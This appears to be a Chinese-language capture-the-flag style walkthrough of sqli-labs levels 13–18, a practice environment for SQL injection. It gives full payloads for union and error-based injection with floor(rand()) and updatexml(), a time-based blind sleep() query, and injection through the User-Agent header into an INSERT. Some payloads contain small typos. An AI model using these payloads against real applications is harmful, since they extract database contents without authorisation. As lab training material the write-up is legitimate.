sqli-labs.less13-18過關記錄
- Pass13
和之前pass5、6一樣,用單引號和括號閉合
輸入admin') order by 3#報錯
admin') order by 2#返回正常
查庫:admin') union select count(*),concat((select database()),floor(rand()*2)) as a from information_schema.schemata group by a#
查表:admin') union select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand()*2)) as a from information_schema.schemata group by a
- Pass14
使用雙引號閉合,其他語句相同
- Pass 15
由於是盲注,直接找成功標誌,輸入admin' order by 3#返回登入失敗圖片
輸入admin' order by 2#返回登入成功圖片
可以在html中檢視圖片名為flag.jpg這個就是我們的成功條件
通過python指令碼的requests.post來注入
查表名
時間盲注語句:1' and if ((substr(select database()),1,1)='s'),sleep(6),1)#儘量吧sleep時間設定多點,避免網路問題
- Pass16
和15差不多,使用雙引號和括號閉合
- Pass17
這一關可以利用兩個函式,分別是updatexml()和extractvalue()
先說updatexml(),語法格式為updatexmle(xml_document,xpath_string,new_value);
xml_document是string格式,xml文件物件的名稱
xpath_string是xpath_string格式的字串(主要利用這個引數進行報錯注入)
new_value替換查詢到符合條件的資料
注入語句為 updatexml(1.concat('~',(select database()),'~'),1)
concat函式將字串拼接在一起,這不符合xpath語法規則,返回錯誤的同時將中間select語句的查詢結果順帶返回
返回注入場景,這裡和之前有點不同的是注入點在passwd處,看一下程式碼
在接受到post的uname會執行一個check_input的函式,首先進行了一個是否為空的檢查,然後通過substr之擷取15位字元,再下面到get_magic_qutes_gpc(),這個函式配合php環境配置magic_quotes_gpc,如果使用者輸入資料帶有單引號, 雙引號, 反斜線 and 空字元會自動轉為含有反斜線的溢位字元,在通過get_magic_qutes_gpc()將資料中的所有反斜線去除
然後到ctype_digit判斷是否為數字,如果不是就加上一對單引號
再反觀passwd引數,沒有任何過濾語句直接套入了sql語句總
再結合上面的注入語句:1' and updatexml(1,concat('~',(select database()),'~'),1)#成功報錯
查表,可以用group_concat()將查詢的結果顯示在一行裡面
- Pass18
點開發現多了一個your ip
再看原始碼,發現uname和passwd都執行了一次資料檢查函式
再往下看發現有個$uagent被直接帶入了sql語句中
$_SERVER 是一個包含了諸如頭資訊(header)、路徑(path)、以及指令碼位置(script locations)等等資訊的陣列。
參考:https://www.jb51.net/article/42428.htm
對原始碼進行審計可以發現,只有當用戶名和密碼都正確的時候才能進入下一步對uagent的插入語句。爆破yyds。。。
這裡我們知道賬號就直接進行注入,在uagent輸入一個單引號引發報錯
閉合語句1',1,1)#
這裡由於是insert語句就不能通過select語句注入,可以使用17關的updatexml來注入
注入語句:1',1,updatexml(1,concat('~',(select database()),'~'),1))#
查表:1',1,updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1))#